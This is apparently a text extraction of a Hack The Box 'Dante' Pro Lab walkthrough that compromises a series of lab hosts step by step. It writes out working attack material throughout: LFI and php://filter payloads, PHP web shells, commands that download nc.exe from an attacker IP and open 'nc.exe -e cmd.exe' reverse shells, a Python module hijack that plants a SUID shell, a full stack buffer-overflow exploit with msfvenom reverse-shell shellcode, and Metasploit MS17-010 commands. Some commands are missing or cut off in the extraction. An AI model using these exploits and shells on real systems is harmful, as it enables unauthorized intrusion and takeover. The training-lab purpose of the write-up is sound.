Professional Documents
Culture Documents
Dante HTB This One Is Documentation of Pro Labs HTB
Dante HTB This One Is Documentation of Pro Labs HTB
The Nmap -sn flag disables port scanning and discovers hosts based on ICMP requests. It found
two active hosts, of which 10.10.110.2 can be ignored as it's the lab controller.
The file mentions an LFI vulnerability in a site and discloses that the user James has weak
password.
Nmap output also shows that there is a robots.txt file present on the Apache server. This file is
used to tell web crawlers (search engines) to not to scan specified server paths and files. The first
flag can be found in the robots.txt .
It's easier this way
The entry in the robots.txt shows that the server has the WordPress CMS installed. Browsing to
the /wordpress folder confirms this.
The vp flag scans for vulnerable plugins. wpscan identified that the server has directory listing
enabled and the WordPress version is 5.4.1 , which is not the latest version. Checking for known
vulnerabilities on wpvulndb shows the results below.
However, none of these allow us to access the server directly. Let's enumerate users with wpscan.
This identified the users admin and james . Let's also browse to Meet The Team page.
Save the employee names to names.txt .
james
kevin
kalthazar
aj
nathan
The page Languages and Frameworks contains some details about the programming languages
that the team uses. Let's create a wordlist from this page using CeWL.
Next, we can attempt to bruteforce the WordPress login with wpscan, with the generated
username and password lists.
Inspection of the Users page shows that james user is a member of the Administrator role. In
order to customize themes, WordPress allows members of the Administrator role to edit files
using its built-in editor. This can be leveraged execute commands on the server by inserting php
code in one of the files. Navigate to "Appearance" > "Theme Editor" and select the Twenty
Nineteen theme.
Update the 404.php page contents with the following:
Next, stand up a listener on port 1234 and access the page /wordpress/wp-
content/themes/twentynineteen/404.php in order to trigger the reverse shell.
A shell on DANTE-WEB-NIX01 is received as www-data . Let's check the /home folder.
There are two users present on the server. We can try switching to james using the WordPress
password, in case they have reused it with their system account.
Let's make a note of the credentials. Enumeration of files having the SUID bit set returns the find
binary, which is owned by root.
As per the gtfobins reference, this can be exploited to gain root access on the server using the
command:
for i in {1..255} ;do (ping -c 1 172.16.1.$i | grep "bytes from"|cut -d ' ' -
f4|tr -d ':' &);done
This reveals a total of eleven hosts excluding our current host NIX01 , which has an internal IP
address of 172.16.1.100 . Let's add our public key to /root/.ssh/authorized_keys , and
upgrade to an SSH shell.
In order to further enumerate hosts on the 172.16.1.0/24 network from our machine, we can
set up a local SOCKS proxy.
ProxyChains is a tool that is capable of redirecting TCP connections through TOR, SOCKS and
HTTP/HTTPS proxy servers, and also allows us to chain multiple proxy servers together. Let's begin
by scanning the host 172.16.1.10 . The Nmap SYN scan is not proxy aware and there is limited
support for the Nmap --proxies option. Instead, we can use a TCP Connect Scan ( -sT ), which
uses the OS to issue a higher-level connect system call that routes the traffic through the proxy.
proxychains firefox
http://172.16.1.10/nav.php?page=../../../../../../etc/passwd
This is successful, and we see the users frank and margaret . Let's connect to Samba service
using the smbclient tool.
The file admintasks.txt is present on the share, which we download to view its contents.
get admintasks.txt
This states that the WordPress CMS is installed on the web root. Let's try to access it.
It seems that the WordPress CMS is not directly accessible. It could be case that the WordPress
CMS is installed to the web root directory /var/www/html/ , with the Dante hosting application
being served from a subdirectory. Let's confirm that by accessing the file
/var/www/html/index.html using the LFI vulnerability.
We can see that the default apache page present on web root. Let's attempt to load the
WordPress page index.php .
http://172.16.1.10/nav.php?page=/var/www/html/wordpress/index.php
The error message confirms that the WordPress is installed in the web root. In general, WordPress
stores the database configuration in the file wp-config.php .
PHP provides various wrappers, which can be used for easier access of files, protocols or streams.
A complete list of wrappers can be found here. The php:// wrapper is enabled by default and is
used to interact with IO streams. For example: php://stdin and php://stdout can be used to
access input and output streams for the process, while php://input and php://output are
used to access request data. A useful wrapper is php://filter , which can be chained with
multiple filters to achieve the desired output.
The following filters will convert the contents of /etc/passwd to base64 and ROT13 respectively.
php://filter/read=convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
Let's try base64 encoding and including wp-config.php using the filter.
172.16.1.10/nav.php?page=php://filter/convert.base64-
encode/resource=/var/www/html/wordpress/wp-config.php
The wrapper encodes the given resource to base64 format. Let's decode the content and save it to
a file.
curl "172.16.1.10/nav.php?page=php://filter/convert.base64-
encode/resource=/var/www/html/wordpress/wp-config.php" | base64 -d > wp-
config.php
<?php
<SNIP>
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );
:set shell=/bin/bash
:shell
A full shell is obtained on DANTE-NIX02 as margaret . The flag can be found in the home
directory.
Snake it 'til you make it
Enumeration of the user's home folder reveals a Slack subdirectory inside .config .
Previous enumeration mentioned that the Slack integration task was pending. In general, Slack
stores files for each user in the hidden /home/<user>/.config/Slack directory. When a Slack
admin exports their workspace data, it stores most of this in JSON format. After enumerating this
directory, we find some exported data, including chat logs, channel and workspace data.
Enumeration of the secure channel chat logs reveals a conversation between Margaret and
Frank, which contains potential credentials for the user frank .
Let's switch to frank using the obtained password.
The script checks the apache2 server service status by sending a GET request to localhost . If
the response code is not equal to 200 then it restarts the service. It's worth noting that there is
no while loop in the script to repeat the check at regular intervals, which hints that a cronjob
may have been configured. We can confirm this by downloading and running pspy.
pspy output reveals that root is running the script every minute. The script is not writable by
frank , although it imports the call and urllib modules. Python has a list of search paths for
its libraries. This can be viewed by running the following commands.
Python first checks for modules in the current working directory, before looking in the other
paths. We can attempt to hijack loading of the legitimate call or urllib modules, so that our
malicious module is loaded instead. Let's create a urllib.py file in the /home/frank folder with
the contents below.
import os
os.system("cp /bin/sh /tmp/sh;chmod u+s /tmp/sh")
/tmp/sh -p
Bash preserves the effective user id (i.e. root) when -p option is supplied at invocation, which
gives us root access. The flag can be found in the /root folder. Let's then add our SSH public key
to authorized_keys and delete the suid binary.
Feeling fintastic
Let's scan the host 172.16.1.17 next.
Nmap reveals that the host has ports 80 (HTTP,) 139,445 (Samba) and 10000 (HTTP) open. Let's
browse to port 10000 .
The Webmin application is running on port 10000. Attempting to login using default credentials
isn't successful. Let's connect to the Samba service using smbclient.
The file command reveals that this is a pcap , which is a packet capture probably taken with
tcpdump or Wireshark . Let's analyze the file in Wireshark.
wireshark monitor
The protocol statistics can be viewed by clicking on "Statistics" > "Protocol Hierarchy".
There is UDP as well as TCP traffic present. Under TCP, we can see that HTML Form URL Encoded
packets are present. These packets are transmitted using HTTP protocol. Let's filter for HTTP
packets.
Right-click on the HTTP POST request packet and click "Follow" > "HTTP Stream".
The packet reveals a POST request made to login to the Webmin application. Let's login to
Webmin application using the admin / password6543 credentials.
This was unsuccessful. Further inspection of the capture file reveals another POST request that
contains the password Password6543 .
The dashboard shows that the version of Webmin is 1.900 . It also reports that versions below
1.930 are vulnerable to a remote exploit.
Searching for the known exploits for this version yields the below results.
Download the exploit from the roughiz repo, and then issue the following commands to obtain a
reverse shell.
nc -lvnp 1234
proxychains python webmin_exploit.py --rhost 172.16.1.17 --lhost 10.10.14.2 --
lport 1234 -u admin -p Password6543
A shell on DANTE-NIX03 is received. Let's upgrade the shell to a PTY using Python.
Nmap identified that the host has ports 80 (HTTP) and 443 (HTTPS) open. Browsing to port 80
reveals a XAMPP dashboard.
Let's enumerate other files and folders hosted on port 80 using Gobuster.
gobuster dir -p socks5://127.0.0.1:1080 --url http://172.16.1.13/ -w common.txt
# Exploit Title: Online Discussion Forum Site 1.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-24
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://www.sourcecodester.com/php/14233/online-discussion-
forum-site.html
# Software Link: https://www.sourcecodester.com/download-code?
nid=14233&title=Online+Discussion+Forum+Site
# Version: 1.0 (REQUIRED)
# Tested on: Windows 10 / Wamp Server
# CVE : N/A
Go to http://localhost/Online%20Discussion%20Forum%20Site/register.php register
page to sign up
Then fill other fields and upload the shell.php with following PHP-shell-code
<?php
$command = shell_exec($_REQUEST['cmd']);
echo $command;
?>
Let's register a new user as described in the exploit by clicking on Sign Up button.
The registration form has the option to upload an image. Save the below code to shell.php and
upload it using the form.
Let's upgrade to a proper shell. First, stand up a local web server hosting nc.exe .
python3 -m http.server 80
Download it to the host by issuing the following command in the browser.
http://172.16.1.13/discuss/ups/shell.php?cmd=powershell wget
http://10.10.14.2/nc.exe -o nc.exe
Next, stand up a Netcat listener on port 1234 ( nc -lvnp 1234 ) and issue the below command in
the browser to send a reverse shell.
A shell on DANTE-WS01 is received as gerald . The flag can be found in the desktop.
Compare my numbers
Checking the installed software on the host shows the non-default program Druva inSync is
installed.
Researching this online reveals that the disclosed version is vulnerable to a local privilege
escalation vulnerability. Let's download the exploit to the host.
As shown in the exploit usage instructions, we'll add gerald user to administrators group.
This is successful and we can see that the user gerald is now part of administrators group.
However, due to UAC (User Account Control) we are unable to read the flag on the Administrator
desktop. Let's download nc.exe and then run the exploit to send us a reverse shell.
Nmap has identified that ports 21 (FTP), 80 (HTTP), 443 (HTTPS) and 3306 (MySQL) are open.
Browsing to port 80 reveals a XAMPP dashboard.
This doesn't seem interesting. Let's use Gobuster to find files and folders on the server.
The title of the blog says Responsive Blog , which after searching online we find is prone to a
SQL injection vulnerability. PoC code that exploits this vulnerability has been publicly released.
Let's attempt to validate the vulnerability by visiting the following URL.
http://172.16.1.12/blog/category.php?id=2%27
This results in a SQL error, confirming that the application is vulnerable to SQL injection. sqlmap
tool can be used to automate the process of exploiting SQL injections. Let's use it to enumerate
the available databases.
The --dbs option will enumerate the databases, while the --batch switch will use the default
options, without prompting us for further input.
A number of databases are identified. Let's dump the data from the flag database.
The -D option is used to specify the database, while --dump retrieves information from all tables.
The flag can be seen in the flag table.
Five doctors
Let's enumerate the tables inside the blog_admin_db database using --table sqlmap option.
The table membership_users contains information about the blog user. Let's dump the table
data.
21232f297a57a5a743894a0e4a801fc3
442179ad1de9c25593cabf625c0badb7
d6501933a2e0ea1f497b87473051417f
The tool has cracked two of the hashes, and the admin password is found to be admin . Let's login
to the blog as the admin.
From the admin panel it is possible to create blogs. The blog creation feature allows for image
upload. It is worth checking if it will allow us to upload a PHP web shell.
Attempting to upload a valid image also doesn't work due to the strict file system permissions.
Let's move on to the other password cracked by John The Ripper. The credentials ben /
Welcometomyblog are found to work for SSH.
A shell on DANTE-NIX04 is obtained as ben . The flag can be found in the home folder.
Minus + minus = plus?
Checking the sudo entries for the user reveals that they can execute /bin/bash as any other user
apart from root .
Examination of /home and /etc/passwd reveals that julian is a system user. Let's switch to
that account by issuing the below command.
There doesn't seem to be anything useful in Julian's home folder. We can enumerate the server
with common privilege escalation scripts such as LinEnum or LinPEAS.
LinPEAS highlighted that the sudo version is 1.8.27 , which is known to be vulnerable to a
security bypass. The following command can be executed to obtain a root shell.
This is successful, and the flag can be found in the root directory.
As root, it is now possible to view /etc/shadow , which contains the password hashes for all the
users. Let's save the password hash for julian to a file.
julian:$6$JuLl03Pm$CtdAUUPYSsYPz60TyYKhnoS/ycE5CS0x8h5PSzpwLsHNjAGA2A1oCMYh1Z9C
qi.Pt.pwzDKy0GygjD/b31GSB.:18439:0:99999:7:::
sshd:*:18471:0:99999:7:::
The password is cracked successfully. Let's make a note of it and move on.
Congratulations to a perfect pear
Next, let's scan the 172.16.1.102 host.
Nmap output reveals that ports 80 (HTTP), 135 (msrpc), 139 (NetBIOS), 443 (HTTPS), 445 (SMB),
3389 (RDP), and 5357 (wsdapi) are open. Let's browse to port 80.
The footer of the web page shows Online Marriage Registration System , which has a known
RCE vulnerability, for which an exploit has been published. The exploit requires valid user
credentials. Let's register a new user.
Run the exploit by issuing the following command.
chmod +x exploit.sh
proxychains ./exploit.sh -u http://172.16.1.102/ -m 1231231231 -p test -c
"whoami"
This is successful. Stand up a web server on port 80 and download the Windows Netcat binary to
the host by issuing the commands below.
python3 -m http.server 80
proxychains ./exploit.sh -u http://172.16.1.102/ -m 1231231231 -p test -c
"powershell wget 10.10.14.2/nc.exe -o nc.exe"
Next, start a local Netcat listener on port 4444, and run the exploit again with the following
payload.
nc -lvnp 1234
proxychains ./exploit.sh -u http://172.16.1.102/ -m 1231231231 -p test -c
"nc.exe -e cmd.exe 10.10.14.2 1234"
A shell on DANTE-WS03 is received as blake . The flag can be found on the desktop.
MinatoTW strikes again
Enumerating the host, we see that there's a non standard folder C:\Apps containing the file
SERVER.EXE .
Checking for locally running services shows that there is a service running on port 4444.
netstat -o
tasklist|findstr 22304
From the result it is clear that the SERVER.EXE is running on port 4444 and it requires a valid
username. Let's stand up a listener on port 3333.
Run the below command on the host to download SERVER.EXE to our local machine.
nc.exe 10.10.14.2 3333 < c:\Apps\SERVER.EXE
The service reports that the credentials are valid and quits.
We can use Ghidra to reverse the binary. Ghidra is an open source tool developed by NSA that
helps in disassembling binaries built for different operating systems. A major advantage of Ghidra
is that it will decompile the object code back to source code which helps us greatly in
understanding the flow of the binary. Let's open the binary in Ghidra and analyze the behaviour.
We can search for strings like Password to find the respective function. Let's navigate to Window
> Defined Strings and filter by putting the string Password in it.
Clicking on the string shows its corresponding function name in the Listing window. We can see
that the function FUN_10476cb0 contains these strings. Let's browse to this function from Symbol
Tree window.
We confirm that the function FUN_10476cb0 contains the password validation logic.
thunk_FUN_10484890 looks like a strcpy_s call, where it is copying the user input 2048 (0x800)
bytes in size to a destination buffer of only 1024 bytes in size.
thunk_FUN_10484890(local_404,0x801,param_1,0x800);
This is a clear buffer overflow. Let's run the binary on our machine and add a rule to forward the
port.
Note: The target system (as of the time of writing) is Windows 10 Pro 64-bit (10.0.18363, Build
18363). Windows evaluation VMs can be downloaded from the Microsoft Developer site here.
The command forwards the connection from port 3333 on 0.0.0.0 to port 4444 on localhost,
allowing us to access the service. Let's validate the vulnerability by sending more than 1024 bytes
of data in the password field.
python -c 'print "A"*2000'
Let's open the binary in Immunity Debugger and click Debug > Run . We can use the mona plugin
to generate a cyclic pattern, which will help to identify the 4 unique bytes that overwrite EIP. Let's
download the script and copy mona.py to the folder C:\Program Files (x86)\Immunity
Inc\Immunity Debugger\PyCommands . We can now use the pattern_create command to create
the pattern.
Paste the generated pattern in the password field and hit return.
Returning to Immunity, we see that EIP was overwritten by 33694232 in hex, which is 3iB2 in
ASCII.
This can be found on the stack as 2Bi3 because x86 architecture follows little-endian notation.
Let's now find the offset at which EIP is overwritten. The pattern_offset command in mona can
be used to calculate this.
We see that the offset was found at position 1028 of the input pattern. This means that the EIP
gets overwritten after 1028 bytes of data. LetÕs verify this by trying to overwrite it with our desired
characters. We can use pwntools to script the connection and the sending / receiving of data.
Pwntools is designed to make exploit writing as simple as possible and allows for rapid
prototyping. It can be installed using pip.
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev
build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
The script accepts the IP address and port of the server as command line arguments.
if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()
ip = sys.argv[1]
port = sys.argv[2]
r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)
Let's create a payload of 1028 As followed by 4 Bs. If our calculation is correct, EIP should be
overwritten with the 4 Bs. Restart the server and execute the script.
Looking at the Registers section in Immunity, we see that EIP was overwritten by Bs, which verifies
our offset calculation.
Now that we have an EIP overwrite, we can use it to jump to an area that we control. Looking at
the stack on the bottom-right window, we see the start of our As as we scroll up.
We can jump to the top of the stack, which is pointed to by ESP. This can be achieved by using a
JMP ESP instruction, which jumps to the address pointed to by ESP. JMP ESP instructions can be
found using mona.
The -r flag specifies the register to jump to. Looking at the Log window we see that mona found
three JMP ESP instructions.
LetÕs make EIP point to the first instruction and take control of program execution. Edit the script
and add the address of the JMP ESP instruction.
Due to little-endian notation, 0x10476d73 is represented as 0x73, 0x6d, 0x47, 0x10. Double-click
on this address in the Log window, right-click > Breakpoint > Toggle, or just hit F2 to set a
breakpoint.
Restart the server and run the script again. Once the breakpoint is hit, we see that EIP is
populated with the address of the JMP ESP instruction.
Hit F7 to single-step through the code. We can see that ESP is pointing to start of the Cs.
This is where weÕll place our shellcode to be executed by the program. The tool msfvenom is
useful for generating payloads in various formats. We can use it to generate 32-bit reverse shell
shellcode.
After generation, paste the shellcode into the script and edit it as follows:
if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()
ip = sys.argv[1]
port = sys.argv[2]
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\xe1\x38\x68"
buf += b"\x02\x00\x27\x0f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)
print r.recv(1024)
This failed and Immunity Debugger shows an exception. This is due to presence of bad characters
in the shellcode. A bad character is simply a list of unwanted characters that can interrupt
shellcode execution.
There is no universal set of bad characters. Depending on the application and the developer logic,
there are different sets of bad characters for every program that we could encounter. Therefore,
we have to identify the bad characters in an application before writing the shell code. We can use
mona to create byte array that is used for the comparison. The byte array contains bytes ranging
from 00 to FF. This sequence helps us in identifying the bad characters.
mona stores the bytearray in bytearray.txt . Edit the script as follows.
if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()
ip = sys.argv[1]
port = sys.argv[2]
badchars=
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\
x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x
33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x
53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x
73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x
93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\x
b3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\x
d3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\x
f3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)
print r.recv(1024)
We've added a few bytes of 0x90 (NOPs) before the shellcode. NOPs are instructions that perform
no operation. This technique is known as a NOP sled and does nothing but pass execution to the
next instruction. This will help to stabilize our exploit in case the stack changes. Let's run the
updated exploit.
Immunity shows an exception. Let's view the stack by right clicking "ESP address" > "Follow in
Dump".
It can be seen that after 00 the stack is corrupted. We can also use mona to identify the bad
characters.
The command requires the starting address of the bytearray on the stack. Let's place breakpoint
on the JMP ESP instruction and run the script.
Once the breakpoint hit, we see that the stack is pointing to the start of the bytearray, at the
address 0019FD54 .
Run the exploit again after removing \x00 from the bytearray.
The stack looks fine now but we still fail to get a reverse shell. Let's add the carriage return \x0d
and line feed \x0a to the bad characters list and regenerate the shellcode. These are the
common control characters that interrupt execution.
if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()
ip = sys.argv[1]
port = sys.argv[2]
buf = b""
buf += b"\xbb\x39\xb3\xbd\xf3\xd9\xcb\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x31\x5a\x12\x83\xc2\x04\x03\x63\xbd\x5f"
buf += b"\x06\x6f\x29\x1d\xe9\x8f\xaa\x42\x63\x6a\x9b\x42\x17"
buf += b"\xff\x8c\x72\x53\xad\x20\xf8\x31\x45\xb2\x8c\x9d\x6a"
buf += b"\x73\x3a\xf8\x45\x84\x17\x38\xc4\x06\x6a\x6d\x26\x36"
buf += b"\xa5\x60\x27\x7f\xd8\x89\x75\x28\x96\x3c\x69\x5d\xe2"
buf += b"\xfc\x02\x2d\xe2\x84\xf7\xe6\x05\xa4\xa6\x7d\x5c\x66"
buf += b"\x49\x51\xd4\x2f\x51\xb6\xd1\xe6\xea\x0c\xad\xf8\x3a"
buf += b"\x5d\x4e\x56\x03\x51\xbd\xa6\x44\x56\x5e\xdd\xbc\xa4"
buf += b"\xe3\xe6\x7b\xd6\x3f\x62\x9f\x70\xcb\xd4\x7b\x80\x18"
buf += b"\x82\x08\x8e\xd5\xc0\x56\x93\xe8\x05\xed\xaf\x61\xa8"
buf += b"\x21\x26\x31\x8f\xe5\x62\xe1\xae\xbc\xce\x44\xce\xde"
buf += b"\xb0\x39\x6a\x95\x5d\x2d\x07\xf4\x09\x82\x2a\x06\xca"
buf += b"\x8c\x3d\x75\xf8\x13\x96\x11\xb0\xdc\x30\xe6\xb7\xf6"
buf += b"\x85\x78\x46\xf9\xf5\x51\x8d\xad\xa5\xc9\x24\xce\x2d"
buf += b"\x09\xc8\x1b\xe1\x59\x66\xf4\x42\x09\xc6\xa4\x2a\x43"
buf += b"\xc9\x9b\x4b\x6c\x03\xb4\xe6\x97\xc4\x7b\x5e\x76\x03"
buf += b"\x14\x9d\x78\x0b\xeb\x28\x9e\x39\xe3\x7c\x09\xd6\x9a"
buf += b"\x24\xc1\x47\x62\xf3\xac\x48\xe8\xf0\x51\x06\x19\x7c"
buf += b"\x41\xff\xe9\xcb\x3b\x56\xf5\xe1\x53\x34\x64\x6e\xa3"
buf += b"\x33\x95\x39\xf4\x14\x6b\x30\x90\x88\xd2\xea\x86\x50"
buf += b"\x82\xd5\x02\x8f\x77\xdb\x8b\x42\xc3\xff\x9b\x9a\xcc"
buf += b"\xbb\xcf\x72\x9b\x15\xb9\x34\x75\xd4\x13\xef\x2a\xbe"
buf += b"\xf3\x76\x01\x01\x85\x76\x4c\xf7\x69\xc6\x39\x4e\x96"
buf += b"\xe7\xad\x46\xef\x15\x4e\xa8\x3a\x9e\x7e\xe3\x66\xb7"
buf += b"\x16\xaa\xf3\x85\x7a\x4d\x2e\xc9\x82\xce\xda\xb2\x70"
buf += b"\xce\xaf\xb7\x3d\x48\x5c\xca\x2e\x3d\x62\x79\x4e\x14"
r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)
After starting a listener on port 9999 and running the script again, a shell should be received.
Next, generate the shellcode again with our tun0 interface IP address.
After updating the script and running it, a shell as nt authority\system is received on DANTE-
WS03 .
python bof.py 127.0.0.1 4444
Nmap reveals many open ports. The host has DNS, Kerberos and LDAP services running, which
indicates that we are looking at a domain controller.
Let's first run check in order to validate the vulnerability by issuing the below commands.
proxychains msfconsole
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 172.16.1.20
check
The output shows that the host is vulnerable. Let's run the exploit by issuing the below
commands.
proxychains msfconsole
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 172.16.1.20
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run
This is successful and a shell as nt authority\system is received on DANTE-DC01 . As SYSTEM,
we can enumerate the domain as the account is able to impersonate the computer account, which
is effectively a special type of domain user account.
On opening it, we see a list of potential usernames in column A. After unhiding column B, we also
see the password associated with the respective account. Let's make a note of this information
and move on.
mrb3n leaves his mark
Enumerating the users in the domain, we see there's a user called mrb3n . As this is a domain
controller net user enumerates the domain. Apart from the special DSRM account, a DC doesn't
have local users (the local administrator is promoted to the primary domain administrator after
installing ADDS).
Nmap reveals that the host has two ports open. Let's browse to port 80.
The Gallery page is empty. Let's upload a sample image using the Upload feature.
The application returns the message Uploaded . Now on the Gallery page, we see the uploaded
image.
We can delete the image as well. The Feedback page shows text revealing a specific extension
.bak .
It is possible that there are backup files lying around. Let's fuzz for .bak files using gobuster .
There are two backup files present on the server. Let's download them.
proxychains curl http://172.16.1.37/feedback.php.bak -o feedbak.php.bak
proxychains curl http://172.16.1.37/save.php.bak -o save.php.bak
feedback.php.bak
<?php
include("auth.php");
include("info.php");
require_once 'save.php';
if (!file_exists("uploads/$id")) {
mkdir("uploads/$id", 0777, true);
}
$s = new Store();
/// ToDo
// Re create this function
// Fix security bug
<SNIP>
?>
save.php.bak
<?php
class Store
{
public function __destruct()
{
file_put_contents($this->filename, $this->contents, FILE_APPEND);
}
}
?>
We see that the file save.php.bak defines a class named Store . This class has a function
__destruct() , which gets invoked when an object is destructed or the script is stopped or
exited. This function then creates a file with the given content.
The file feedback.php.bak includes save.php and initializes an object with the Store()
function. The comments speak about a security bug. We already know that the file feedback.php
exists on the server. Let's check if the file save.php is present on the server.
The file exists. PHP supports a wrapper called phar:// , which can be used to provide a PHP
archive as an input to a file operation. This archive contains metadata in a serialized format. If a
file operation is performed on this archive, then the serialized contents will be unserialized, which
happens in the context of the application. With this information it is possible to obtain the code
execution on the server. Let's create a phar archive.
test.php
<?php
class Store {}
$phar = new \Phar("shell.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
php test.php
Let's capture the file upload request in Burp Suite and rename the extension to .png or .jpg .
This is successful. Let's now delete the file using the phar:// wrapper.
The file deletion operation triggers the deserialization, which then invokes the __destruct()
function that creates the file shell.php on the server. We can now access the PHPInfo page at
/uploads/shell.php .
This validates the vulnerability. Let's modify the payload to obtain command execution on the
server.
<?php
class Store {}
$phar = new \Phar("shell.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
Let's upload the archive and delete it, which should create test.php on the server. We can now
execute commands on the server at /uploads/test.php .
The application is running as the user pericles . After copying our public key to the
authorized_keys file we can SSH to the server.
http://172.16.1.37/uploads/test.php?cmd=mkdir /home/pericles/.ssh
http://172.16.1.37/uploads/test.php?cmd=echo -n '<url encoded id_rsa.pub
key>'>/home/pericles/.ssh/authorized_keys
We see a non default systemd timer which executed few seconds ago.
The OnCalender attribute reveals that the tmp_delete.service runs every minute. Let's view
the service details.
It runs the file /usr/bin/tmp_delete.sh and pericles has write access to this file. Assuming
that this service runs as root, we can modify /usr/bin/tmp_delete.sh and obtain root access.
/home/pericles/sh -p
Bash preserves the effective user ID (i.e. root) when the -p option is supplied at invocation, which
gives us a shell as root. The flag can be found in the /root folder.
Some people never learn
Next, let's scan the host 172.16.1.45 .
Nmap reveals that this host has several ports open, including Apache on port 80. Let's browse to
this.
XAMPP is running on port 80. Let's fuzz the server for files and folders that may be hosted using
gobuster .
The exploit matches the URL pattern /elearning . Checking the vendor homepage provided in
the exploit reveals the default credentials for the admin and teacher roles.
This is successful. Next, navigate to Students page and click on the Add Student button.
Fill in all the fields and upload a PHP file with the contents below.
shell.php
We gain command execution as the local user leroy . It seems that we can't access our machine
IP from this host. Let's copy the nc.exe binary to our entry point machine 172.16.1.100 , and
download nc.exe to WS04 .
scp /usr/share/windows-resources/binaries/nc.exe
